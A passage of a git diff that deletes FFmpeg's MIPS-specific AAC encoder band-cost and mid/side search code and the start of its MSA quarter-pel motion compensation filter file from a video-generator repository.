-              [t6]"=&r"(t6), [t7]"=&r"(t7)
-        );
-
-        curidx = 17 * qc1;
-        curidx += qc2;
-
-        curidx2 = 17 * qc3;
-        curidx2 += qc4;
-
-        curbits += p_bits[curidx];
-        curbits += esc_sign_bits[curidx];
-        vec     = &p_codes[curidx*2];
-
-        curbits += p_bits[curidx2];
-        curbits += esc_sign_bits[curidx2];
-        vec2     = &p_codes[curidx2*2];
-
-        curbits += (av_log2(c1) * 2 - 3) & (-cond0);
-        curbits += (av_log2(c2) * 2 - 3) & (-cond1);
-        curbits += (av_log2(c3) * 2 - 3) & (-cond2);
-        curbits += (av_log2(c4) * 2 - 3) & (-cond3);
-
-        t1 = fabsf(in[i  ]);
-        t2 = fabsf(in[i+1]);
-        t3 = fabsf(in[i+2]);
-        t4 = fabsf(in[i+3]);
-
-        if (cond0) {
-            if (t1 >= CLIPPED_ESCAPE) {
-                di1 = t1 - CLIPPED_ESCAPE;
-                qenergy += CLIPPED_ESCAPE*CLIPPED_ESCAPE;
-            } else {
-                di1 = t1 - (V = c1 * cbrtf(c1) * IQ);
-                qenergy += V*V;
-            }
-        } else {
-            di1 = t1 - (V = vec[0] * IQ);
-            qenergy += V*V;
-        }
-
-        if (cond1) {
-            if (t2 >= CLIPPED_ESCAPE) {
-                di2 = t2 - CLIPPED_ESCAPE;
-                qenergy += CLIPPED_ESCAPE*CLIPPED_ESCAPE;
-            } else {
-                di2 = t2 - (V = c2 * cbrtf(c2) * IQ);
-                qenergy += V*V;
-            }
-        } else {
-            di2 = t2 - (V = vec[1] * IQ);
-            qenergy += V*V;
-        }
-
-        if (cond2) {
-            if (t3 >= CLIPPED_ESCAPE) {
-                di3 = t3 - CLIPPED_ESCAPE;
-                qenergy += CLIPPED_ESCAPE*CLIPPED_ESCAPE;
-            } else {
-                di3 = t3 - (V = c3 * cbrtf(c3) * IQ);
-                qenergy += V*V;
-            }
-        } else {
-            di3 = t3 - (V = vec2[0] * IQ);
-            qenergy += V*V;
-        }
-
-        if (cond3) {
-            if (t4 >= CLIPPED_ESCAPE) {
-                di4 = t4 - CLIPPED_ESCAPE;
-                qenergy += CLIPPED_ESCAPE*CLIPPED_ESCAPE;
-            } else {
-                di4 = t4 - (V = c4 * cbrtf(c4) * IQ);
-                qenergy += V*V;
-            }
-        } else {
-            di4 = t4 - (V = vec2[1]*IQ);
-            qenergy += V*V;
-        }
-
-        cost += di1 * di1 + di2 * di2
-                + di3 * di3 + di4 * di4;
-    }
-
-    if (bits)
-        *bits = curbits;
-    return cost * lambda + curbits;
-}
-
-static float (*const get_band_cost_arr[])(struct AACEncContext *s,
-                                          PutBitContext *pb, const float *in,
-                                          const float *scaled, int size, int scale_idx,
-                                          int cb, const float lambda, const float uplim,
-                                          int *bits, float *energy) = {
-    get_band_cost_ZERO_mips,
-    get_band_cost_SQUAD_mips,
-    get_band_cost_SQUAD_mips,
-    get_band_cost_UQUAD_mips,
-    get_band_cost_UQUAD_mips,
-    get_band_cost_SPAIR_mips,
-    get_band_cost_SPAIR_mips,
-    get_band_cost_UPAIR7_mips,
-    get_band_cost_UPAIR7_mips,
-    get_band_cost_UPAIR12_mips,
-    get_band_cost_UPAIR12_mips,
-    get_band_cost_ESC_mips,
-    get_band_cost_NONE_mips, /* cb 12 doesn't exist */
-    get_band_cost_ZERO_mips,
-    get_band_cost_ZERO_mips,
-    get_band_cost_ZERO_mips,
-};
-
-#define get_band_cost(                                  \
-                                s, pb, in, scaled, size, scale_idx, cb, \
-                                lambda, uplim, bits, energy)            \
-    get_band_cost_arr[cb](                              \
-                                s, pb, in, scaled, size, scale_idx, cb, \
-                                lambda, uplim, bits, energy)
-
-static float quantize_band_cost(struct AACEncContext *s, const float *in,
-                                const float *scaled, int size, int scale_idx,
-                                int cb, const float lambda, const float uplim,
-                                int *bits, float *energy)
-{
-    return get_band_cost(s, NULL, in, scaled, size, scale_idx, cb, lambda, uplim, bits, energy);
-}
-
-#include "libavcodec/aacenc_quantization_misc.h"
-
-#include "libavcodec/aaccoder_twoloop.h"
-
-static void search_for_ms_mips(AACEncContext *s, ChannelElement *cpe)
-{
-    int start = 0, i, w, w2, g, sid_sf_boost, prev_mid, prev_side;
-    uint8_t nextband0[128], nextband1[128];
-    float M[128], S[128];
-    float *L34 = s->scoefs, *R34 = s->scoefs + 128, *M34 = s->scoefs + 128*2, *S34 = s->scoefs + 128*3;
-    const float lambda = s->lambda;
-    const float mslambda = FFMIN(1.0f, lambda / 120.f);
-    SingleChannelElement *sce0 = &cpe->ch[0];
-    SingleChannelElement *sce1 = &cpe->ch[1];
-    if (!cpe->common_window)
-        return;
-
-    /** Scout out next nonzero bands */
-    ff_init_nextband_map(sce0, nextband0);
-    ff_init_nextband_map(sce1, nextband1);
-
-    prev_mid = sce0->sf_idx[0];
-    prev_side = sce1->sf_idx[0];
-    for (w = 0; w < sce0->ics.num_windows; w += sce0->ics.group_len[w]) {
-        start = 0;
-        for (g = 0;  g < sce0->ics.num_swb; g++) {
-            float bmax = bval2bmax(g * 17.0f / sce0->ics.num_swb) / 0.0045f;
-            if (!cpe->is_mask[w*16+g])
-                cpe->ms_mask[w*16+g] = 0;
-            if (!sce0->zeroes[w*16+g] && !sce1->zeroes[w*16+g] && !cpe->is_mask[w*16+g]) {
-                float Mmax = 0.0f, Smax = 0.0f;
-
-                /* Must compute mid/side SF and book for the whole window group */
-                for (w2 = 0; w2 < sce0->ics.group_len[w]; w2++) {
-                    for (i = 0; i < sce0->ics.swb_sizes[g]; i++) {
-                        M[i] = (sce0->coeffs[start+(w+w2)*128+i]
-                              + sce1->coeffs[start+(w+w2)*128+i]) * 0.5;
-                        S[i] =  M[i]
-                              - sce1->coeffs[start+(w+w2)*128+i];
-                    }
-                    abs_pow34_v(M34, M, sce0->ics.swb_sizes[g]);
-                    abs_pow34_v(S34, S, sce0->ics.swb_sizes[g]);
-                    for (i = 0; i < sce0->ics.swb_sizes[g]; i++ ) {
-                        Mmax = FFMAX(Mmax, M34[i]);
-                        Smax = FFMAX(Smax, S34[i]);
-                    }
-                }
-
-                for (sid_sf_boost = 0; sid_sf_boost < 4; sid_sf_boost++) {
-                    float dist1 = 0.0f, dist2 = 0.0f;
-                    int B0 = 0, B1 = 0;
-                    int minidx;
-                    int mididx, sididx;
-                    int midcb, sidcb;
-
-                    minidx = FFMIN(sce0->sf_idx[w*16+g], sce1->sf_idx[w*16+g]);
-                    mididx = av_clip(minidx, 0, SCALE_MAX_POS - SCALE_DIV_512);
-                    sididx = av_clip(minidx - sid_sf_boost * 3, 0, SCALE_MAX_POS - SCALE_DIV_512);
-                    if (sce0->band_type[w*16+g] != NOISE_BT && sce1->band_type[w*16+g] != NOISE_BT
-                        && (   !ff_sfdelta_can_replace(sce0, nextband0, prev_mid, mididx, w*16+g)
-                            || !ff_sfdelta_can_replace(sce1, nextband1, prev_side, sididx, w*16+g))) {
-                        /* scalefactor range violation, bad stuff, will decrease quality unacceptably */
-                        continue;
-                    }
-
-                    midcb = find_min_book(Mmax, mididx);
-                    sidcb = find_min_book(Smax, sididx);
-
-                    /* No CB can be zero */
-                    midcb = FFMAX(1,midcb);
-                    sidcb = FFMAX(1,sidcb);
-
-                    for (w2 = 0; w2 < sce0->ics.group_len[w]; w2++) {
-                        FFPsyBand *band0 = &s->psy.ch[s->cur_channel+0].psy_bands[(w+w2)*16+g];
-                        FFPsyBand *band1 = &s->psy.ch[s->cur_channel+1].psy_bands[(w+w2)*16+g];
-                        float minthr = FFMIN(band0->threshold, band1->threshold);
-                        int b1,b2,b3,b4;
-                        for (i = 0; i < sce0->ics.swb_sizes[g]; i++) {
-                            M[i] = (sce0->coeffs[start+(w+w2)*128+i]
-                                  + sce1->coeffs[start+(w+w2)*128+i]) * 0.5;
-                            S[i] =  M[i]
-                                  - sce1->coeffs[start+(w+w2)*128+i];
-                        }
-
-                        abs_pow34_v(L34, sce0->coeffs+start+(w+w2)*128, sce0->ics.swb_sizes[g]);
-                        abs_pow34_v(R34, sce1->coeffs+start+(w+w2)*128, sce0->ics.swb_sizes[g]);
-                        abs_pow34_v(M34, M,                         sce0->ics.swb_sizes[g]);
-                        abs_pow34_v(S34, S,                         sce0->ics.swb_sizes[g]);
-                        dist1 += quantize_band_cost(s, &sce0->coeffs[start + (w+w2)*128],
-                                                    L34,
-                                                    sce0->ics.swb_sizes[g],
-                                                    sce0->sf_idx[w*16+g],
-                                                    sce0->band_type[w*16+g],
-                                                    lambda / band0->threshold, INFINITY, &b1, NULL);
-                        dist1 += quantize_band_cost(s, &sce1->coeffs[start + (w+w2)*128],
-                                                    R34,
-                                                    sce1->ics.swb_sizes[g],
-                                                    sce1->sf_idx[w*16+g],
-                                                    sce1->band_type[w*16+g],
-                                                    lambda / band1->threshold, INFINITY, &b2, NULL);
-                        dist2 += quantize_band_cost(s, M,
-                                                    M34,
-                                                    sce0->ics.swb_sizes[g],
-                                                    mididx,
-                                                    midcb,
-                                                    lambda / minthr, INFINITY, &b3, NULL);
-                        dist2 += quantize_band_cost(s, S,
-                                                    S34,
-                                                    sce1->ics.swb_sizes[g],
-                                                    sididx,
-                                                    sidcb,
-                                                    mslambda / (minthr * bmax), INFINITY, &b4, NULL);
-                        B0 += b1+b2;
-                        B1 += b3+b4;
-                        dist1 -= b1+b2;
-                        dist2 -= b3+b4;
-                    }
-                    cpe->ms_mask[w*16+g] = dist2 <= dist1 && B1 < B0;
-                    if (cpe->ms_mask[w*16+g]) {
-                        if (sce0->band_type[w*16+g] != NOISE_BT && sce1->band_type[w*16+g] != NOISE_BT) {
-                            sce0->sf_idx[w*16+g] = mididx;
-                            sce1->sf_idx[w*16+g] = sididx;
-                            sce0->band_type[w*16+g] = midcb;
-                            sce1->band_type[w*16+g] = sidcb;
-                        } else if ((sce0->band_type[w*16+g] != NOISE_BT) ^ (sce1->band_type[w*16+g] != NOISE_BT)) {
-                            /* ms_mask unneeded, and it confuses some decoders */
-                            cpe->ms_mask[w*16+g] = 0;
-                        }
-                        break;
-                    } else if (B1 > B0) {
-                        /* More boost won't fix this */
-                        break;
-                    }
-                }
-            }
-            if (!sce0->zeroes[w*16+g] && sce0->band_type[w*16+g] < RESERVED_BT)
-                prev_mid = sce0->sf_idx[w*16+g];
-            if (!sce1->zeroes[w*16+g] && !cpe->is_mask[w*16+g] && sce1->band_type[w*16+g] < RESERVED_BT)
-                prev_side = sce1->sf_idx[w*16+g];
-            start += sce0->ics.swb_sizes[g];
-        }
-    }
-}
-#endif /*HAVE_MIPSFPU */
-
-#include "libavcodec/aaccoder_trellis.h"
-
-#endif /* !HAVE_MIPS32R6 && !HAVE_MIPS64R6 */
-#endif /* HAVE_INLINE_ASM */
-
-void ff_aac_coder_init_mips(AACEncContext *c) {
-#if HAVE_INLINE_ASM
-#if !HAVE_MIPS32R6 && !HAVE_MIPS64R6
-    AACCoefficientsEncoder *e = c->coder;
-    int option = c->options.coder;
-
-    if (option == 2) {
-        e->quantize_and_encode_band = quantize_and_encode_band_mips;
-        e->encode_window_bands_info = codebook_trellis_rate;
-#if HAVE_MIPSFPU
-        e->search_for_quantizers    = search_for_quantizers_twoloop;
-#endif /* HAVE_MIPSFPU */
-    }
-#if HAVE_MIPSFPU
-    e->search_for_ms            = search_for_ms_mips;
-#endif /* HAVE_MIPSFPU */
-#endif /* !HAVE_MIPS32R6 && !HAVE_MIPS64R6 */
-#endif /* HAVE_INLINE_ASM */
-}
diff --git a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/mips/qpeldsp_msa.c b/spaces/colakin/video-generater/public/ffmpeg/libavcodec/mips/qpeldsp_msa.c
deleted file mode 100644
index c7675f112ec0f418066358fdb69b382a83a5ab78..0000000000000000000000000000000000000000
--- a/spaces/colakin/video-generater/public/ffmpeg/libavcodec/mips/qpeldsp_msa.c
+++ /dev/null
@@ -1,6470 +0,0 @@
-/*
- * Copyright (c) 2015 Parag Salasakar (Parag.Salasakar@imgtec.com)
- *
- * This file is part of FFmpeg.
- *
- * FFmpeg is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Lesser General Public
- * License as published by the Free Software Foundation; either
- * version 2.1 of the License, or (at your option) any later version.
- *
- * FFmpeg is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * Lesser General Public License for more details.
- *
- * You should have received a copy of the GNU Lesser General Public
- * License along with FFmpeg; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-#include "libavutil/mips/generic_macros_msa.h"
-#include "qpeldsp_mips.h"
-
-#define APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask, coef0, coef1, coef2)  \
-( {                                                                     \
-    v16u8 out, tmp0, tmp1;                                              \
-    v16u8 data0, data1, data2, data3, data4, data5;                     \
-    v8i16 res_r, res_l;                                                 \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                               \
-    v8u16 sum0_l, sum1_l, sum2_l, sum3_l;                               \
-                                                                        \
-    VSHF_B2_UB(inp0, inp0, inp1, inp1, mask, mask, tmp0, tmp1);         \
-    ILVRL_B2_UH(inp1, inp0, sum0_r, sum0_l);                            \
-    data0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) tmp0, 15);       \
-    data3 = (v16u8) __msa_sldi_b((v16i8) tmp1, (v16i8) inp1, 1);        \
-    HADD_UB2_UH(sum0_r, sum0_l, sum0_r, sum0_l);                        \
-    ILVRL_B2_UH(data3, data0, sum1_r, sum1_l);                          \
-    data1 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) tmp0, 14);       \
-    data4 = (v16u8) __msa_sldi_b((v16i8) tmp1, (v16i8) inp1, 2);        \
-    sum0_r *= (v8u16) (coef0);                                          \
-    sum0_l *= (v8u16) (coef0);                                          \
-    ILVRL_B2_UH(data4, data1, sum2_r, sum2_l);                          \
-    data2 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) tmp0, 13);       \
-    data5 = (v16u8) __msa_sldi_b((v16i8) tmp1, (v16i8) inp1, 3);        \
-    DPADD_UB2_UH(sum2_r, sum2_l, coef2, coef2, sum0_r, sum0_l);         \
-    ILVRL_B2_UH(data5, data2, sum3_r, sum3_l);                          \
-    HADD_UB2_UH(sum3_r, sum3_l, sum3_r, sum3_l);                        \
-    DPADD_UB2_UH(sum1_r, sum1_l, coef1, coef1, sum3_r, sum3_l);         \
-    res_r = (v8i16) (sum0_r - sum3_r);                                  \
-    res_l = (v8i16) (sum0_l - sum3_l);                                  \
-    SRARI_H2_SH(res_r, res_l, 5);                                       \
-    CLIP_SH2_0_255(res_r, res_l);                                       \
-    out = (v16u8) __msa_pckev_b((v16i8) res_l, (v16i8) res_r);          \
-                                                                        \
-    out;                                                                \
-} )
-
-#define APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,                       \
-                                      mask0, mask1, mask2, mask3,       \
-                                      coef0, coef1, coef2)              \
-( {                                                                     \
-    v16u8 out;                                                          \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                               \
-    v8u16 sum4_r, sum5_r, sum6_r, sum7_r;                               \
-    v8i16 res0_r, res1_r;                                               \
-                                                                        \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask0, mask0, sum0_r, sum4_r);   \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask3, mask3, sum3_r, sum7_r);   \
-    HADD_UB2_UH(sum3_r, sum7_r, sum3_r, sum7_r);                        \
-    DOTP_UB2_UH(sum0_r, sum4_r, coef0, coef0, sum0_r, sum4_r);          \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask2, mask2, sum2_r, sum6_r);   \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask1, mask1, sum1_r, sum5_r);   \
-    DPADD_UB2_UH(sum2_r, sum6_r, coef2, coef2, sum0_r, sum4_r);         \
-    DPADD_UB2_UH(sum1_r, sum5_r, coef1, coef1, sum3_r, sum7_r);         \
-    res0_r = (v8i16) (sum0_r - sum3_r);                                 \
-    res1_r = (v8i16) (sum4_r - sum7_r);                                 \
-    SRARI_H2_SH(res0_r, res1_r, 5);                                     \
-    CLIP_SH2_0_255(res0_r, res1_r);                                     \
-    out = (v16u8) __msa_pckev_b((v16i8) res1_r, (v16i8) res0_r);        \
-                                                                        \
-    out;                                                                \
-} )
-
-#define APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,                        \
-                                           mask0, mask1, mask2, mask3,  \
-                                           coef0, coef1, coef2)         \
-( {                                                                     \
-    v16u8 out;                                                          \
-    v8i16 res0_r;                                                       \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                               \
-                                                                        \
-    VSHF_B2_UH(inp0, inp0, inp0, inp0, mask0, mask3, sum0_r, sum3_r);   \
-    sum3_r = __msa_hadd_u_h((v16u8) sum3_r, (v16u8) sum3_r);            \
-    sum0_r = __msa_dotp_u_h((v16u8) sum0_r, (v16u8) coef0);             \
-    VSHF_B2_UH(inp0, inp0, inp0, inp0, mask2, mask1, sum2_r, sum1_r);   \
-    DPADD_UB2_UH(sum2_r, sum1_r, coef2, coef1, sum0_r, sum3_r);         \
-    res0_r = (v8i16) (sum0_r - sum3_r);                                 \
-    res0_r = __msa_srari_h(res0_r, 5);                                  \
-    CLIP_SH_0_255(res0_r);                                              \
-    out = (v16u8) __msa_pckev_b((v16i8) res0_r, (v16i8) res0_r);        \
-                                                                        \
-    out;                                                                \
-} )
-
-#define APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,   \
-                                                    mask2, mask3, coef0,  \
-                                                    coef1, coef2)         \
-( {                                                                       \
-    v16u8 out;                                                            \
-    v8i16 res0_r;                                                         \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                                 \
-                                                                          \
-    VSHF_B2_UH(inp0, inp0, inp0, inp0, mask0, mask3, sum0_r, sum3_r);     \
-    sum3_r = __msa_hadd_u_h((v16u8) sum3_r, (v16u8) sum3_r);              \
-    sum0_r = __msa_dotp_u_h((v16u8) sum0_r, (v16u8) coef0);               \
-    VSHF_B2_UH(inp0, inp0, inp0, inp0, mask2, mask1, sum2_r, sum1_r);     \
-    DPADD_UB2_UH(sum2_r, sum1_r, coef2, coef1, sum0_r, sum3_r);           \
-    res0_r = (v8i16) (sum0_r - sum3_r);                                   \
-    res0_r += 15;                                                         \
-    res0_r >>= 5;                                                         \
-    CLIP_SH_0_255(res0_r);                                                \
-    out = (v16u8) __msa_pckev_b((v16i8) res0_r, (v16i8) res0_r);          \
-                                                                          \
-    out;                                                                  \
-} )
-
-#define APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,              \
-                                         coef0, coef1, coef2)           \
-( {                                                                     \
-    v16u8 out, tmp0, tmp1;                                              \
-    v16u8 data0, data1, data2, data3, data4, data5;                     \
-    v8i16 res_r, res_l;                                                 \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                               \
-    v8u16 sum0_l, sum1_l, sum2_l, sum3_l;                               \
-                                                                        \
-    VSHF_B2_UB(inp0, inp0, inp1, inp1, mask, mask, tmp0, tmp1);         \
-    ILVRL_B2_UH(inp1, inp0, sum0_r, sum0_l);                            \
-    data0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) tmp0, 15);       \
-    data3 = (v16u8) __msa_sldi_b((v16i8) tmp1, (v16i8) inp1, 1);        \
-    HADD_UB2_UH(sum0_r, sum0_l, sum0_r, sum0_l);                        \
-    ILVRL_B2_UH(data3, data0, sum1_r, sum1_l);                          \
-    data1 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) tmp0, 14);       \
-    data4 = (v16u8) __msa_sldi_b((v16i8) tmp1, (v16i8) inp1, 2);        \
-    sum0_r *= (v8u16) (coef0);                                          \
-    sum0_l *= (v8u16) (coef0);                                          \
-    ILVRL_B2_UH(data4, data1, sum2_r, sum2_l);                          \
-    data2 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) tmp0, 13);       \
-    data5 = (v16u8) __msa_sldi_b((v16i8) tmp1, (v16i8) inp1, 3);        \
-    DPADD_UB2_UH(sum2_r, sum2_l, coef2, coef2, sum0_r, sum0_l);         \
-    ILVRL_B2_UH(data5, data2, sum3_r, sum3_l);                          \
-    HADD_UB2_UH(sum3_r, sum3_l, sum3_r, sum3_l);                        \
-    DPADD_UB2_UH(sum1_r, sum1_l, coef1, coef1, sum3_r, sum3_l);         \
-    res_r = (v8i16) (sum0_r - sum3_r);                                  \
-    res_l = (v8i16) (sum0_l - sum3_l);                                  \
-    res_r += 15;                                                        \
-    res_l += 15;                                                        \
-    res_r >>= 5;                                                        \
-    res_l >>= 5;                                                        \
-    CLIP_SH2_0_255(res_r, res_l);                                       \
-    out = (v16u8) __msa_pckev_b((v16i8) res_l, (v16i8) res_r);          \
-                                                                        \
-    out;                                                                \
-} )
-
-#define APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1,                  \
-                                               mask0, mask1, mask2, mask3,  \
-                                               coef0, coef1, coef2)         \
-( {                                                                         \
-    v16u8 out;                                                              \
-    v8i16 res0_r, res1_r;                                                   \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                                   \
-    v8u16 sum4_r, sum5_r, sum6_r, sum7_r;                                   \
-                                                                            \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask0, mask0, sum0_r, sum4_r);       \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask3, mask3, sum3_r, sum7_r);       \
-    HADD_UB2_UH(sum3_r, sum7_r, sum3_r, sum7_r);                            \
-    DOTP_UB2_UH(sum0_r, sum4_r, coef0, coef0, sum0_r, sum4_r);              \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask2, mask2, sum2_r, sum6_r);       \
-    VSHF_B2_UH(inp0, inp0, inp1, inp1, mask1, mask1, sum1_r, sum5_r);       \
-    DPADD_UB2_UH(sum2_r, sum6_r, coef2, coef2, sum0_r, sum4_r);             \
-    DPADD_UB2_UH(sum1_r, sum5_r, coef1, coef1, sum3_r, sum7_r);             \
-    res0_r = (v8i16) (sum0_r - sum3_r);                                     \
-    res1_r = (v8i16) (sum4_r - sum7_r);                                     \
-    res0_r += 15;                                                           \
-    res1_r += 15;                                                           \
-    res0_r >>= 5;                                                           \
-    res1_r >>= 5;                                                           \
-    CLIP_SH2_0_255(res0_r, res1_r);                                         \
-    out = (v16u8) __msa_pckev_b((v16i8) res1_r, (v16i8) res0_r);            \
-                                                                            \
-    out;                                                                    \
-} )
-
-#define APPLY_VERT_QPEL_FILTER(inp0, inp1, inp2, inp3,                  \
-                               inp4, inp5, inp6, inp7,                  \
-                               coef0, coef1, coef2)                     \
-( {                                                                     \
-    v16u8 res;                                                          \
-    v8i16 res_r, res_l;                                                 \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                               \
-    v8u16 sum0_l, sum1_l, sum2_l, sum3_l;                               \
-                                                                        \
-    ILVRL_B2_UH(inp4, inp0, sum0_r, sum0_l);                            \
-    ILVRL_B2_UH(inp7, inp3, sum3_r, sum3_l);                            \
-    DOTP_UB2_UH(sum0_r, sum0_l, coef0, coef0, sum0_r, sum0_l);          \
-    HADD_UB2_UH(sum3_r, sum3_l, sum3_r, sum3_l);                        \
-    ILVRL_B2_UH(inp6, inp2, sum2_r, sum2_l);                            \
-    ILVRL_B2_UH(inp5, inp1, sum1_r, sum1_l);                            \
-    DPADD_UB2_UH(sum2_r, sum2_l, coef2, coef2, sum0_r, sum0_l);         \
-    DPADD_UB2_UH(sum1_r, sum1_l, coef1, coef1, sum3_r, sum3_l);         \
-    res_r = (v8i16) (sum0_r - sum3_r);                                  \
-    res_l = (v8i16) (sum0_l - sum3_l);                                  \
-    SRARI_H2_SH(res_r, res_l, 5);                                       \
-    CLIP_SH2_0_255(res_r, res_l);                                       \
-    res = (v16u8) __msa_pckev_b((v16i8) res_l, (v16i8) res_r);          \
-                                                                        \
-    res;                                                                \
-} )
-
-#define APPLY_VERT_QPEL_FILTER_8BYTE(inp00, inp01, inp02, inp03,        \
-                                     inp04, inp05, inp06, inp07,        \
-                                     inp10, inp11, inp12, inp13,        \
-                                     inp14, inp15, inp16, inp17,        \
-                                     coef0, coef1, coef2)               \
-( {                                                                     \
-    v16u8 res;                                                          \
-    v8i16 val0, val1;                                                   \
-    v8u16 sum00, sum01, sum02, sum03;                                   \
-    v8u16 sum10, sum11, sum12, sum13;                                   \
-                                                                        \
-    ILVR_B4_UH(inp04, inp00, inp14, inp10, inp07, inp03, inp17, inp13,  \
-               sum00, sum10, sum03, sum13);                             \
-    DOTP_UB2_UH(sum00, sum10, coef0, coef0, sum00, sum10);              \
-    HADD_UB2_UH(sum03, sum13, sum03, sum13);                            \
-    ILVR_B4_UH(inp06, inp02, inp16, inp12, inp05, inp01, inp15, inp11,  \
-               sum02, sum12, sum01, sum11);                             \
-    DPADD_UB2_UH(sum02, sum12, coef2, coef2, sum00, sum10);             \
-    DPADD_UB2_UH(sum01, sum11, coef1, coef1, sum03, sum13);             \
-    val0 = (v8i16) (sum00 - sum03);                                     \
-    val1 = (v8i16) (sum10 - sum13);                                     \
-    SRARI_H2_SH(val0, val1, 5);                                         \
-    CLIP_SH2_0_255(val0, val1);                                         \
-    res = (v16u8) __msa_pckev_b((v16i8) val1, (v16i8) val0);            \
-                                                                        \
-    res;                                                                \
-} )
-
-#define APPLY_VERT_QPEL_NO_ROUND_FILTER(inp0, inp1, inp2, inp3,         \
-                                        inp4, inp5, inp6, inp7,         \
-                                        coef0, coef1, coef2)            \
-( {                                                                     \
-    v16u8 res;                                                          \
-    v8i16 res_r, res_l;                                                 \
-    v8u16 sum0_r, sum1_r, sum2_r, sum3_r;                               \
-    v8u16 sum0_l, sum1_l, sum2_l, sum3_l;                               \
-                                                                        \
-    ILVRL_B2_UH(inp4, inp0, sum0_r, sum0_l);                            \
-    ILVRL_B2_UH(inp7, inp3, sum3_r, sum3_l);                            \
-    DOTP_UB2_UH(sum0_r, sum0_l, coef0, coef0, sum0_r, sum0_l);          \
-    HADD_UB2_UH(sum3_r, sum3_l, sum3_r, sum3_l);                        \
-    ILVRL_B2_UH(inp6, inp2, sum2_r, sum2_l);                            \
-    ILVRL_B2_UH(inp5, inp1, sum1_r, sum1_l);                            \
-    DPADD_UB2_UH(sum2_r, sum2_l, coef2, coef2, sum0_r, sum0_l);         \
-    DPADD_UB2_UH(sum1_r, sum1_l, coef1, coef1, sum3_r, sum3_l);         \
-    res_r = (v8i16) (sum0_r - sum3_r);                                  \
-    res_l = (v8i16) (sum0_l - sum3_l);                                  \
-    res_r += 15;                                                        \
-    res_l += 15;                                                        \
-    res_r >>= 5;                                                        \
-    res_l >>= 5;                                                        \
-    CLIP_SH2_0_255(res_r, res_l);                                       \
-    res = (v16u8) __msa_pckev_b((v16i8) res_l, (v16i8) res_r);          \
-                                                                        \
-    res;                                                                \
-} )
-
-#define APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(inp00, inp01, inp02, inp03,  \
-                                              inp04, inp05, inp06, inp07,  \
-                                              inp10, inp11, inp12, inp13,  \
-                                              inp14, inp15, inp16, inp17,  \
-                                              coef0, coef1, coef2)         \
-( {                                                                        \
-    v16u8 res;                                                             \
-    v8i16 val0, val1;                                                      \
-    v8u16 sum00, sum01, sum02, sum03;                                      \
-    v8u16 sum10, sum11, sum12, sum13;                                      \
-                                                                           \
-    ILVR_B4_UH(inp04, inp00, inp14, inp10, inp07, inp03, inp17, inp13,     \
-               sum00, sum10, sum03, sum13);                                \
-    DOTP_UB2_UH(sum00, sum10, coef0, coef0, sum00, sum10);                 \
-    HADD_UB2_UH(sum03, sum13, sum03, sum13);                               \
-    ILVR_B4_UH(inp06, inp02, inp16, inp12, inp05, inp01, inp15, inp11,     \
-               sum02, sum12, sum01, sum11);                                \
-    DPADD_UB2_UH(sum02, sum12, coef2, coef2, sum00, sum10);                \
-    DPADD_UB2_UH(sum01, sum11, coef1, coef1, sum03, sum13);                \
-    val0 = (v8i16) (sum00 - sum03);                                        \
-    val1 = (v8i16) (sum10 - sum13);                                        \
-    val0 += 15;                                                            \
-    val1 += 15;                                                            \
-    val0 >>= 5;                                                            \
-    val1 >>= 5;                                                            \
-    CLIP_SH2_0_255(val0, val1);                                            \
-    res = (v16u8) __msa_pckev_b((v16i8) val1, (v16i8) val0);               \
-                                                                           \
-    res;                                                                   \
-} )
-
-static void horiz_mc_qpel_aver_src0_8width_msa(const uint8_t *src,
-                                               int32_t src_stride,
-                                               uint8_t *dst,
-                                               int32_t dst_stride,
-                                               int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-        src += (4 * src_stride);
